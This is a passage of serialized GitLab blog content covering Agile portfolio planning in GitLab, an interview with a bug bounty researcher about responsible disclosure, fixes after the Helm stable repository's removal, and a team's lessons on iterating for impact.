deciding.\n\n## Read more about Git\n\nAccording to the [2020 DevSecOps Survey](/developer-survey/), Git is the choice for source control for 92% of the survey takers, with just 2% using no source control and even smaller percentages using Azure DevOps Server and Subversion. Here are few additional posts to help you get the most out of Git.\n\n- [15 Git tips to improve workflow](/blog/15-git-tips-improve-workflow/)\n- [How Git Partial Clone lets you fetch only the large file you need](/blog/partial-clone-for-massive-repositories/)\n- [A guide to Git for beginners](/blog/beginner-git-guide/) \n\nCover image by [Belinda Fewings](https://unsplash.com/@bel2000a?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/1Spvd7ktFX4)\n{: .note}\n",[1067,1444,2368],{"slug":20864,"featured":6,"template":678},"migrating-your-version-control-to-git","content:en-us:blog:migrating-your-version-control-to-git.yml","Migrating Your Version Control To Git","en-us/blog/migrating-your-version-control-to-git.yml","en-us/blog/migrating-your-version-control-to-git",{"_path":20870,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20871,"content":20876,"config":20881,"_id":20883,"_type":16,"title":20884,"_source":17,"_file":20885,"_stem":20886,"_extension":20},"/en-us/blog/gitlab-for-agile-portfolio-planning-project-management",{"title":20872,"description":20873,"ogTitle":20872,"ogDescription":20873,"noIndex":6,"ogImage":18571,"ogUrl":20874,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20874,"schema":20875},"How to use GitLab for Agile portfolio planning and project management","GitLab provides features that are flexible enough to be used for scaled Agile portfolio planning and project management, regardless of the framework you choose.","https://about.gitlab.com/blog/gitlab-for-agile-portfolio-planning-project-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab for Agile portfolio planning and project management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Hernandez\"},{\"@type\":\"Person\",\"name\":\"Julie Byrne\"}],\n        \"datePublished\": \"2020-11-11\",\n      }",{"title":20872,"description":20873,"authors":20877,"heroImage":18571,"date":20878,"body":20879,"category":734,"tags":20880},[10807,5911],"2020-11-11","\nMany organizations using GitLab want to understand how to best apply the various features to support [Agile project and portfolio management](/solutions/agile-delivery/) processes (PPM) at scale. These organizations use different Agile frameworks. In a previous blog post, we outlined [an approach for using GitLab for Agile software development](/blog/gitlab-for-agile-software-development/). Since the original post, we've continued to enhance functionality for lean/Agile portfolio planning and Agile project management. In this blog post, we’re updating recommendations for using Agile based on these enhancements and we describe how these features can be utilized for a variety of different scaling frameworks.\n\n## Agile software development at scale\n\nFirst, let’s take a look at a typical scaling model of [Agile software development](/topics/agile-delivery/) beyond the individual team level. Whether you’ve adopted a specific scaling framework such as the [Scaled Agile Framework (SAFe)](https://www.scaledagileframework.com/), [Disciplined Agile (DA)](https://www.pmi.org/disciplined-agile), [Large Scale Scrum (LeSS)](https://less.works/), or [Spotify](https://medium.com/scaled-agile-framework/exploring-key-elements-of-spotifys-agile-scaling-model-471d2a23d7ea), most scaling models have similarities in their approach, organizing Agile teams into teams of teams, and even into teams of teams of teams.\n\n![](https://about.gitlab.com/images/blogimages/team-teams2.png){: .medium.center}\n\nTypically, scaling frameworks use these types of labels to describe each level:\n\n| **Level** | **Common Names** | **Description** |\n| ----- | ----- | ----- |\n| Team | Scrum team, Kanban team, Squad | A cross functional group (including BA, Dev, Test, and other supporting roles) implementing stories and bug fixes for an application or set of applications|\n| Team of Teams | Program, Release Train, Tribe | A set of teams who plan together and coordinate efforts to implement features for a system involving one or more applications |\n| Team of Teams of Teams | Portfolio, Business Unit, Alliance | One or more programs with a shared set of strategic goals and themes, typically funded with a single budget |\n\nNow that we've reviewed the different levels of Agile at scale, let’s next think about what types of data and visibility are required for agility at each level.\n\nThe scrum master/project manager/tribe lead, product owner, and team members are part of the Team level that is focused on short-term planning, typically weekly to monthly. They will want:\n\n- A board view to show flow of work\n- Current and upcoming iteration plan\n- A task list for each work item\n- Visibility into team progress\n- Team predictability\n\nThe program manager/release train engineer, product manager/product area lead, and design lead guide the Team of Teams, with a focus is on mid-range planning, monthly to quarterly (or potentially a bit longer). They will want visibility into:\n\n- A prioritized feature list with anticipated business value captured\n- Feature roadmap\n- View of mid-range plan\n- Epic health\n- Progress against plan\n- Program predictability\n\nFinally, portfolio managers, business leaders, and chief architects perform strategic long-term planning, typically quarterly to annually or longer, at the Team of Teams of Teams level. They will want to see:\n\n- A list of long-term epics/initiatives/business projects, categorized by theme and/or strategic goals\n- The long-term strategic roadmap\n\n## How can we best support these needs using GitLab?\n\nFirst, we need to understand what GitLab object types to use for support the appropriate visibility at each level.\n\n| **GitLab Structure** | **Team** | **Team of Teams** | **Team of Teams of Teams** |\n| ----- | ----- | ----- | -----  |\n| Org structure | Project or sub-sub-group | Sub-group | Top level group |\n| Work items | Issue | Child epic | Parent epic |\n| Time boxes | Iteration | Milestone | Roadmap across milestones |\n\nIn GitLab, epics can be defined in a hierarchy to break down long-term epics into a set of shorter-term epics that can each be delivered by a single Team-of-Teams. While we will use a single parent-child epic hierarchy in this blog to keep things simple, you can use more levels of nesting. The lowest level of epic in the hierarchy would be linked to a set of issues to define the work each team will do in order to implement that epic. GitLab is very flexible and does not enforce a hierarchy. For example, when there are cases when an epic should be tracked at the portfolio level but be decomposed directly into issues, with no features in between, GitLab will allow you to do that linking directly without having to create dummy features in the middle.\n\n![](https://about.gitlab.com/images/blogimages/epic_hierarchy2.png){: .medium.center}\n\nWe recommend using [scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) to define epic types, e.g., you might define long-term epics to be portfolio epics, and decompose them into shorter-term features. Using _epic::portfolio-epic_ and _epic::feature_ will allow you to appropriately categorize and filter a list of epics and make sure that each epic exists in the appropriate location.\n\nA [group](https://docs.gitlab.com/ee/user/group/) can be used to organize projects. And groups can be nested, e.g., a parent group can contain multiple child groups, and each child group can have its own subgroups, etc. A GitLab [project](https://docs.gitlab.com/ee/user/project/) contains a single source code repository, issue tracker, and associated tools and functionality in order to collaborate on software development for that repository.\n\n![](https://about.gitlab.com/images/blogimages/group_project2.png){: .medium.center}\n\nNote: Group permissions are propagated down the tree from the top-level, so, e.g., a maintainer in the top-level group will have maintainer permissions in the entire group hierarchy.\n\nWe recommend that you use a nested group hierarchy to define your scaled organizational structure for Team of Teams of Teams, Team of Teams, and Teams. For example, consider an electronic banking program that is part of the digital services portfolio for a financial services provider. The electronic banking program might have separate teams that work on web, mobile, backend, and middleware. You would use a parent group for the digital services portfolio, a sub-group for the electronic banking program, and a separate project within the sub-group for each team.\n\n![](https://about.gitlab.com/images/blogimages/group_project_example.png){: .medium.center}\n\nGenerally speaking, parent epics would be defined within the top-level group since they define work that can span the sub-groups. Each parent epic would be broken down into multiple child epics, each of which is defined within the appropriate child group (representing a Team-of-Teams).\n\nThe example above is simple in that each Agile team is working on a single repository. But what if that’s not the case?\n\n- If a single team works exclusively on multiple repositories (but no other team works on the them), then create a sub-group for the team, and include each repo as a project.\n- If multiple teams work on a collection of repositories, use the Team of Teams group for collaboration across all Teams in all projects, and use individual scoped labels for each team to track their issues on filtered boards.\n\nGitLab provides an [issue tracker](https://docs.gitlab.com/ee/user/project/issues/) for any types of issues you want to manage and track. Typically, for Agile software development teams, these would be things like user stories and defects. We recommend that you use [scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) to define the different issue types, for ease of filtering and reporting. The great news is that you can have as many or as few issue types as you see fit. GitLab does not provide the ability to define a custom schema for each issue type as that tends to complicate both administration and usage of issues and gets in the way of software development. Instead, use [custom issue templates](https://docs.gitlab.com/ee/user/project/description_templates.html#creating-issue-templates) to provide guidance to the end user on what types of information should be captured for each issue type, and even to set labels automatically on the issue as it is created.\n\nGitLab makes project status reporting easy with the issue [health status](https://docs.gitlab.com/ee/user/project/issues/#health-status). Each issue can have a status of `On Track`, `Needs Attention`, or `At Risk`. The health statuses of all issues for an epic are reported within the epic details for a quick snapshot of the health of the overall epic.\n\nFinally, we have to define timeboxes to use for our planning cadences. We tend to use [milestones](https://docs.gitlab.com/ee/user/project/milestones/) for our mid-range planning, i.e., a quarterly development plan. Define the milestone at the highest group level that will be using that cadence, e.g., if the entire portfolio plans on a quarterly basis, then the planning milestone should be defined at the top-level group level. If each team of teams plans on a different mid-range cadence, then you would want to define separate milestones at each child group level. Note that milestones get added directly to issues, so the projects that will use the milestones must be within the group hierarchy where the milestone is defined. One other consideration is that an issue can only have a single milestone associated with it, so it’s a good idea to align on the best use of milestones across the Team of Teams before starting to use them.\n\nWe recently released our [iterations MVC](https://gitlab.com/groups/gitlab-org/-/epics/4012) in GitLab! This allows you to define, at the group or individual project level, short-term cadences that a team or set of teams uses for planning and tracking their work. While, as an MVC, iteration functionality is not yet as robust as milestones, we do have plans for enhancements including using iterations on boards, filtering issue lists by iteration, and burnup/burndown charts. You can view the epic [Iterations in GitLab](https://gitlab.com/groups/gitlab-org/-/epics/2422) to learn more about planned enhancements. And that doesn’t mean Kanban teams are out of luck. We innately support Kanban in GitLab, too, with issue boards, so you can have a mix of iteration based teams and continuous flow teams working together.\n\n## Agile PPM: putting it all together\n\nHere’s how the GitLab features come together to support Agile at scale to allow planning from the highest level down to the individual team, and to provide visibility, traceability, and reporting at each level:\n\n![](https://about.gitlab.com/images/blogimages/epic_hierarchy.png){: .medium.center}\n\nYou can also check out the video below to see how the structure comes together in GitLab.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/5J0bonGoECs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Read more about Agile at GitLab\n\n- [See more information about our Agile delivery solution](/solutions/agile-delivery/)\n- [Build your Agile roadmap in GitLab](https://docs.gitlab.com/ee/user/group/roadmap/)\n- [Learn how to create iterations](https://docs.gitlab.com/ee/user/group/iterations/)\n\nCover image by [Martin Sanchez](https://unsplash.com/@martinsanchez?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/MD6E2Sv__iA)\n{: .note}\n",[1899,754,1444,2368],{"slug":20882,"featured":6,"template":678},"gitlab-for-agile-portfolio-planning-project-management","content:en-us:blog:gitlab-for-agile-portfolio-planning-project-management.yml","Gitlab For Agile Portfolio Planning Project Management","en-us/blog/gitlab-for-agile-portfolio-planning-project-management.yml","en-us/blog/gitlab-for-agile-portfolio-planning-project-management",{"_path":20888,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20889,"content":20894,"config":20899,"_id":20901,"_type":16,"title":20902,"_source":17,"_file":20903,"_stem":20904,"_extension":20},"/en-us/blog/rpadovani-ask-a-hacker",{"title":20890,"description":20891,"ogTitle":20890,"ogDescription":20891,"noIndex":6,"ogImage":19338,"ogUrl":20892,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20892,"schema":20893},"Ask a hacker: rpadovani","We chat with a leading bug bounty researcher on why he hacks, what motivates him and his best bug report yet.","https://about.gitlab.com/blog/rpadovani-ask-a-hacker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask a hacker: rpadovani\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-11-10\",\n      }",{"title":20890,"description":20891,"authors":20895,"heroImage":19338,"date":20896,"body":20897,"category":18484,"tags":20898},[12307],"2020-11-10","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n_Recently we held a [GitLab group conversation](https://about.gitlab.com/handbook/group-conversations/) and [AMA/Ask Me Anything](https://www.youtube.com/watch?v=SK_vuZCafZ4) with bug bounty hunter and [GitLab Hero](https://about.gitlab.com/community/heroes/members/#rpadovani), Riccardo Padovani ([@rpadovani on HackerOne](https://hackerone.com/rpadovani?type=user) and [@rpadovani93 on twitter](https://twitter.com/rpadovani93)) about why he hacks, how he hacks and advice for others looking to do the same. That conversation inspired many of the questions in a new series we’re kicking off called, ‘Ask a Hacker’._ \n\n_If you could ask a bug bounty hunter one question, what would it be? Let us know in the comments!_ \n\n![Riccardo Padovani profile](https://about.gitlab.com/images/blogimages/rpadovani_profile.png){: .medium.center}\n\n\n\n## The art of the hack\n\n#### Why do you hack? \nIt's fun, it's challenging, and I learn new things about how systems run and how code is developed. I think this makes me better at my day job.\n    \n#### Why hack on GitLab’s BBP? \nGitLab is my only bug bounty target, but not because it is an easy one! I am not a full-time bug hunter: I am a solutions architect, and I love my day job. :-) \n    \nTwo years ago I found, totally by chance, a security bug on GitLab, and [I reported it](https://hackerone.com/reports/310185). It was near the start of the GitLab public bug bounty program and the experience was far from optimal, so I explored other programs. After about six months, by chance, I found an [issue on Facebook](https://rpadovani.com/facebook-responsible-disclosure). My experience with that program was quite pleasant, and they paid me. \n    \nAfter another 6 months passed, GitLab fixed my [first issue](https://rpadovani.com/gitlab-responsible-disclosure) and paid me for it. It was then that I decided to start looking for security bugs in my free time to have some fun and maybe collect some extra money. I tried finding interesting issues in different programs, but was bored by having to learn how a new website or program worked before being able to start trying to break it. I use GitLab daily for my job, I sometimes contribute to it, and I am a GitLab Hero; so the ramp up to hacking it is short. However, since it is one of the most well-paid and better managed programs on HackerOne, there are many hackers contributing, and indeed in the last 6 months, I’ve noticed it's more challenging to find vulnerabilities than it once was.\n    \n#### What types of vulnerabilities do you most enjoy looking for and finding?\nThe ones that abuse a well-thought-out functionality, usually ones related to access control.\nThere are some classes of vulnerabilities that are quite well known. We all know they are bad, and a slip in the code (XSS, IDOR, SQL injections) just highlights technical errors. What I prefer is finding a way to access data that I shouldn’t be able to access, exploiting a feature that was planned for something else to access reserved places.\n    \n#### What’s something you would like to see improved in our [bug bounty policy](https://hackerone.com/gitlab) or our program in general? \nI don’t have many suggestions, I think the bounty policy is well-written and the program well-managed. It would be nice to see some dedicated swag, especially for low-level issues, possibly the option to choose some swag over a very small bounty. For me, $100 doesn’t make a big difference in my life, but I’d love to have a GitLab/Hackerone cup :-) . In addition, maybe instead of offering GitLab self-managed licenses when reporters submit three or more valid findings to the bug bounty program, you offer a choice between this and a gitlab.com license. Of course, I’d leave the choice to the reporter.\n\nIn addition, I understand why the GitLab team uses templates to reply to reporters, so all answers are standardized and the team can save time. However, many responses seem very impersonal to me. I’d like to see more personalized communication, rather than just standard reply templates.\n    \n#### Among all the bugs you’ve found, what’s your favorite?\nOther than the types mentioned above, I really enjoyed having fun with the Elasticsearch integration last year, it was amazing how much data I was able to leak. I think there are 6 valid reports only about that integration over the course of just one month (see the first report that led to the chain of reports, [\"Group search leaks private MRs, code, commits\"](https://gitlab.com/gitlab-org/gitlab/-/issues/29491), and I think the team hated me a bit for that 👼 .* Also, I found a [bug when moving a project from one group to another group which kept properties of the previous group](https://gitlab.com/gitlab-org/gitlab/-/issues/37766). This would give access to unauthorized users of the second group.\n\n*_Editor's note: Not even a little. We ❤️ it when someone responsibly discloses a vulnerability to us!_\n    \n#### What advice would you give someone looking to start participating as a researcher in a bug bounty program? \nTake note of features that are interesting to you. Keep notes where you can review what you have already done, and what you have already found. This will be useful if you step away and come back to a target. It takes time and it takes luck. Do not leave your day job until you are well on your way, and remember to set aside some money to pay your taxes when they are due!\n    \n#### What’s your favorite security research paper or thought leadership piece? \nI recommend reviewing this paper [HTTP Desync Attacks: Request Smuggling Reborn report](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) for research on remote, unauthenticated exploits: it is quite interesting since it shows how you can exploit something that is not strictly a bug, but instead different behavior between two systems. This is one of the reasons security should be vertical to the entire development stack, and not just a separated silo. Another good read is this classic, foundational paper, [“Reflections on trusting trust”](https://users.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf) for anyone who is interested in or practicing security. It’s more philosophical than practical, but shows how security is not “on/off”, but is more a compromise between the change of something being exploited, and the price to avoid it being exploited.\n    \n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/SK_vuZCafZ4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n## Tangential targets\n\n#### If you use GitLab frequently, what features do you like the most? Where can we improve? \nI really like board issues for groups, and the fact that the wiki is a git repository itself.  The To-Do List could be improved: you can only add to-dos from some elements. I appreciate that a lot of the [devops lifecycle](/topics/devops/) is covered within GitLab and using it helps me enable my colleagues to do their work. I work with many smart folks like Mathematicians and Physicists, and I can automate their workflows using GitLab which is helpful to all of us.\n    \n#### What would you like to see more of in the industry? \nA lot less NIH (not invented here) mentality, and a more common approach to things. Computer Science isn't a science yet. We re-build all the same things over and over, always making the same mistakes. Why can we build buildings that stand hundreds of years, but software that cannot run more than 5-10 years (when very well done)?\n    \n#### Big fish, small pond or small fish, big pond? \nSmall fish, big pond; I like to be challenged. \n    \n#### If you could automate any one thing, what would it be? \nHome chores :-D\n\n#### Have a favorite app? \nBitwarden, it’s useful to store a lot of data (especially passwords!) and just forget about them.\n    \n#### Favorite Linux distro? \nUbuntu\n    \n#### What was the first computer you owned? \nDell Inspiron 6000\n    \n#### Favorite brand of beer, wine, soda, other? \n[Any of the six sisters of Munich](https://www.oktoberfest.de/en/magazine/eat-and-drink/the-six-munich-breweries-at-oktoberfest), but a special shout-out goes to Hacker-Pschorr, and not only for the name. ;-)\n    \n#### Have a favorite quote?\n> Talk is cheap, show me the code. (L. Torvalds)\n\nPeople will always complain or suggest that they can do better. Well, talking is easy, let’s see if you are as good as you say! It’s also one of the coolest things about well-maintained open-source projects: there is a do-ocracy, where the only thing that matters is your contribution, not who you are or what you say.\n",[674,1938],{"slug":20900,"featured":6,"template":678},"rpadovani-ask-a-hacker","content:en-us:blog:rpadovani-ask-a-hacker.yml","Rpadovani Ask A Hacker","en-us/blog/rpadovani-ask-a-hacker.yml","en-us/blog/rpadovani-ask-a-hacker",{"_path":20906,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20907,"content":20913,"config":20919,"_id":20921,"_type":16,"title":20922,"_source":17,"_file":20923,"_stem":20924,"_extension":20},"/en-us/blog/ensure-auto-devops-work-after-helm-stable-repo",{"title":20908,"description":20909,"ogTitle":20908,"ogDescription":20909,"noIndex":6,"ogImage":20910,"ogUrl":20911,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20911,"schema":20912},"Adapting Auto DevOps & managed apps to Helm repo changes","The Helm stable repository will be removed this month. We explain how to keep Auto DevOps and GitLab Managed Apps working.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667182/Blog/Hero%20Images/maximilian-weisbecker-Esq0ovRY-Zs-unsplash.jpg","https://about.gitlab.com/blog/ensure-auto-devops-work-after-helm-stable-repo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to keep GitLab Auto DevOps and Managed Apps working after Helm stable repo is removed\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Thong Kuah\"}],\n        \"datePublished\": \"2020-11-09\",\n      }",{"title":20914,"description":20909,"authors":20915,"heroImage":20910,"date":20916,"body":20917,"category":736,"tags":20918},"How to keep GitLab Auto DevOps and Managed Apps working after Helm stable repo is removed",[19839],"2020-11-09","The Helm project announced that the Helm Stable repository will be [removed](https://www.cncf.io/blog/important-reminder-for-all-helm-users-stable-incubator-repos-are-deprecated-and-all-images-are-changing-location/) on November 13. This change impacts GitLab [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/index.html) and [GitLab Managed Apps](https://docs.gitlab.com/ee/update/removals.html).\n\n## How Auto DevOps is impacted\n\nRemoving the Helm stable repository affects Auto Deploy and Auto Review Apps stages of Auto DevOps. The deploy jobs from these stages will fail because they cannot fetch the Helm stable repository. GitLab has mitigated this in GitLab 13.6 by switching to a [Helm Stable Archive repository](https://gitlab.com/gitlab-org/cluster-integration/helm-stable-archive) maintained by GitLab.\n\nIn case Auto DevOps pipelines are failing because of this problem, you can:\n\n1. Upgrade to GitLab 13.6.0 when it is released, or\n1. If you are on GitLab 13.5.X, you can also upgrade to GitLab 13.5.3\n1. If you are on GitLab 13.4.X, you can also upgrade to GitLab 13.4.6\n1. Specify a newer version of the `auto-deploy-image` image, which contains the fix, in your `.gitlab-ci.yml` file:\n\n    ```\n    include:\n      - template: Auto-DevOps.gitlab-ci.yml\n\n    .auto-deploy:\n      image: \"registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v1.0.7\"\n    ```\n\nNot all users will be affected by the change. Users who are not using Helm as part of Auto DevOps, for example, those that are not using Kubernetes (Auto Deploy to AWS targets) will not be impacted by the removal of the Helm stable respository.\n\n## How GitLab managed apps are impacted\n\nThe removal of the Helm stable repository affects installation of the Ingress, Fluentd, Prometheus, and Sentry apps. These apps will fail to install as the Helm stable repository is removed. For the following:\n\n[GitLab Managed Apps](https://docs.gitlab.com/ee/update/removals.html): GitLab has mitigated this problem in [GitLab 13.5.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44875) by switching to a [Helm Stable Archive repository](https://gitlab.com/gitlab-org/cluster-integration/helm-stable-archive) maintained by GitLab.\n\nThere are a few ways to fix app installation failures because of the Helm stable repository was removed.\n\n1. Upgrade to GitLab 13.5.0 or later, or\n1. If you are on GitLab 13.4.X, you can also upgrade to GitLab 13.4.6.\n1. If you are on GitLab 13.3.X, you can also upgrade to GitLab 13.3.8.\n\nGitLab has mitigated the problem in [GitLab 13.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45487) for users with [GitLab Managed Apps using CI/CD](https://docs.gitlab.com/ee/update/removals.html) by switching to a [Helm Stable Archive repository](https://gitlab.com/gitlab-org/cluster-integration/helm-stable-archive) maintained by GitLab.\n\nIn case GitLab Managed Apps CI/CD installation pipelines are failing because of this problem, you can:\n\n1. Upgrade to GitLab 13.6.0 when it is released, or\n1. Specify a newer version of the `cluster-applications` image, which contains the fix, in your `.gitlab-ci.yml` file:\n\n    ```\n    include:\n      - template: Managed-Cluster-Applications.gitlab-ci.yml\n\n    apply:\n      image: \"registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v0.34.1\"\n    ```\n\nIf you are installing applications that were not hosted in the Helm stable repository such as GitLab Runner, these applications will not be affected.\n\n## Learn more about the project\n\n- [Epic for Helm chart deprecation](https://gitlab.com/groups/gitlab-org/-/epics/4695)\n- [Information on error alert](https://docs.gitlab.com/ee/topics/autodevops/#error-error-initializing-looks-like-httpskubernetes-chartsstoragegoogleapiscom-is-not-a-valid-chart-repository-or-cannot-be-reached)\n- [Information on Helm chart change from CNCF](https://www.cncf.io/blog/important-reminder-for-all-helm-users-stable-incubator-repos-are-deprecated-and-all-images-are-changing-location/)\n\nCover image by Maximilian Weisbecker on [Unsplash](https://unsplash.com/)\n{: .note}\n",[4103,110,736],{"slug":20920,"featured":6,"template":678},"ensure-auto-devops-work-after-helm-stable-repo","content:en-us:blog:ensure-auto-devops-work-after-helm-stable-repo.yml","Ensure Auto Devops Work After Helm Stable Repo","en-us/blog/ensure-auto-devops-work-after-helm-stable-repo.yml","en-us/blog/ensure-auto-devops-work-after-helm-stable-repo",{"_path":20926,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20927,"content":20933,"config":20937,"_id":20939,"_type":16,"title":20940,"_source":17,"_file":20941,"_stem":20942,"_extension":20},"/en-us/blog/lessons-in-iteration-from-new-infrastructure-team",{"title":20928,"description":20929,"ogTitle":20928,"ogDescription":20929,"noIndex":6,"ogImage":20930,"ogUrl":20931,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20931,"schema":20932},"Lessons in iteration from a new team in infrastructure","A new, small team at GitLab discovered that minimum viable change applies to scaling problems too.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681724/Blog/Hero%20Images/skateboard-iteration.jpg","https://about.gitlab.com/blog/lessons-in-iteration-from-new-infrastructure-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Lessons in iteration from a new team in infrastructure\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean McGivern\"}],\n        \"datePublished\": \"2020-11-09\",\n      }",{"title":20928,"description":20929,"authors":20934,"heroImage":20930,"date":20916,"body":20935,"category":734,"tags":20936},[20267],"\n\nThe [Scalability Team][scalability] has the goal of understanding\npotential scaling bottlenecks in our application. We formed a year ago\nwith one person, and as of early 2020, we are made up of three backend\nengineers, plus one site reliability engineer. We are a\nsort of [program team] so we have a wide remit, and there's only one\nsimilar team at GitLab: our sibling [Delivery Team][delivery]. All of\nthe backend engineers in the team (including me) came from\nworking on product development rather than infrastructure work.\n\n[scalability]: /handbook/engineering/infrastructure/team/scalability/\n[program team]: https://lethain.com/programs-owning-the-unownable/\n[delivery]: /handbook/engineering/infrastructure/team/delivery/\n\nWe recently finished a project where we [investigated our use of\nSidekiq][sidekiq] and made various improvements. We decided to continue\nthe same approach of looking at services, and got started with our next\ntarget of Redis. Here are some lessons we took away:\n\n[sidekiq]:/blog/scaling-our-use-of-sidekiq/\n\n## 1. Don't lose sight of what matters most: impact\n\nWe chose to split our work on Redis into three phases:\n\n1. [Visibility][v]: increase visibility into the service.\n2. [Triage][t]: use our increased visibility to look for problems and\n   potential improvements, and triage those.\n3. [Knowledge sharing][ks]: share what we learned with the rest of the\n   Engineering department.\n\n[v]: https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/309\n[t]: https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/309\n[ks]: https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/265\n\n[Iteration] is crucial at GitLab, so much so that we have regular\n[Iteration Office Hours]. On the surface, you could say that we were\niterating here: our issues were small and well-scoped and we were\ndelivering code to production regularly.\n\n[Iteration]: https://handbook.gitlab.com/handbook/values/#iteration\n[Iteration Office Hours]: /handbook/ceo/#iteration-office-hours\n\nThe problem, as it turned out, was that we were focused so heavily on\nunderstanding the service, that we lost track of the [results] we were\ntrying to deliver. Our [values hierarchy] puts results at the top, but\nwe hadn't given the results enough attention. We are a small team that\nneeds to cover a wide area, and we need to deliver _impactful_ changes.\n\n[results]: https://handbook.gitlab.com/handbook/values/#results\n[values hierarchy]: https://handbook.gitlab.com/handbook/values/#hierarchy\n\nThere are some [examples in our handbook][impact] – which we've added as\na result of this project – but we define impact as either having a\ndirect effect on the platform, our infrastructure, or our development\nteams. That was what was missing here, because the impact was loaded\ntowards the very end of the project: largely in the knowledge sharing\nsection.\n\n[impact]: /handbook/engineering/infrastructure/team/scalability/#impact\n\nWe spent a long time (several months) improving our visibility, which\ndefinitely has a positive impact on our SREs who spend time\ninvestigating incidents. But we could have delivered this value and more\nin a shorter time period, if we had kept clear sights on the impact we\nwanted to have.\n\n## 2. Minimum viable change applies to scaling problems too\n\nWith that framing in mind, it's quite clear that we weren't iterating in\nthe best way. To use a famous example, it's like we'd started building a\ncar by building the wheels, then the chassis, etc. That takes a long\ntime to get something useful. We could have started by [building a\nskateboard]. We didn't have a good sense of what a [minimum viable change](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc)\nwas for our team, so we got it wrong.\n\n[building a skateboard]: https://blog.crisp.se/2016/01/25/henrikkniberg/making-sense-of-mvp\n\n![Building a skateboard iteration](https://about.gitlab.com/images/blogimages/scalability-redis-efficiency-skateboard.png){: .medium.center}\nIllustration by [Henrik Kniberg](https://blog.crisp.se/2016/01/25/henrikkniberg/making-sense-of-mvp)\n{: .note.text-right}\n\nWhat would a minimum viable change look like? When we worked on this project, we\ncovered several topics: adding Redis calls to our standard structured\nlogs, exposing slow log information, and so on. With hindsight, the best\nway would probably be to slice the project differently. We could take\nthe three steps above (visibility, triage, knowledge sharing), but\nconsider them all to be necessary for a project on a single topic with a\ntangible goal.\n\nWe did this, with all the impact at the end:\n\n![Working through the first step for all topics, the second step for all topics, and finally having impact in the third step](https://about.gitlab.com/images/blogimages/scalability-redis-efficiency-before.jpg)\n\nBut traveling in the other direction would have been much more\neffective:\n\n![Working through all steps for the first topic, having impact, then starting again at the second topic](https://about.gitlab.com/images/blogimages/scalability-redis-efficiency-after.jpg)\n\nThis leads to a state where:\n\n1. The impact we make is clearer.\n2. We start making an impact sooner.\n3. We can re-assess after every project, and stop early once we have\n   done enough.\n\nThe sooner we have this impact, the sooner we can see the results of\nwhat we've done. It's also good for morale to see these results on a\nregular basis!\n\n## 3. Shape your projects to deliver impact throughout\n\nThe way that we originally structured our work to improve Redis usage made it harder to see\nour impact than it should have been. For example, we [updated our\ndevelopment documentation][dev-docs-update] at the end of the project.\nThis was useful, but it would have been much more useful to backend\nengineers if we'd updated the documentation along the way, so they always had the best information we could give them.\n\n[dev-docs-update]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41889\n\nFor a more positive example: in the visibility stage, we created\na couple of issues directly for stage groups to address, rather than\nwaiting for the triage or knowledge sharing stage to do so. One of those\nissues was about [large cache entries for merge request\ndiscussions][mr-cache]. By getting this in front of the relevant\ndevelopment team earlier, we were able to\nget the fix scheduled and completed sooner as well.\n\n[mr-cache]: https://gitlab.com/gitlab-org/gitlab/-/issues/225600\n\nRegularly delivering projects with clear impact means that we get\nfeedback earlier (from engineers in Development and Infrastructure, or\nfrom the infrastructure itself), we can cover a wider area in less time,\nand we are happier about the work we're doing.\n\nAs people who went from working directly on user-facing features to\nworking on a property of the system as a whole, we learned that we can\nstill set ourselves an MVC to keep us on the right path, as long as we\nthink carefully about the results we want to achieve.\n\n[Cover image](https://unsplash.com/@viniciusamano?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) by shawn henry on [Unsplash](https://unsplash.com/s/photos/skateboard?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n{: 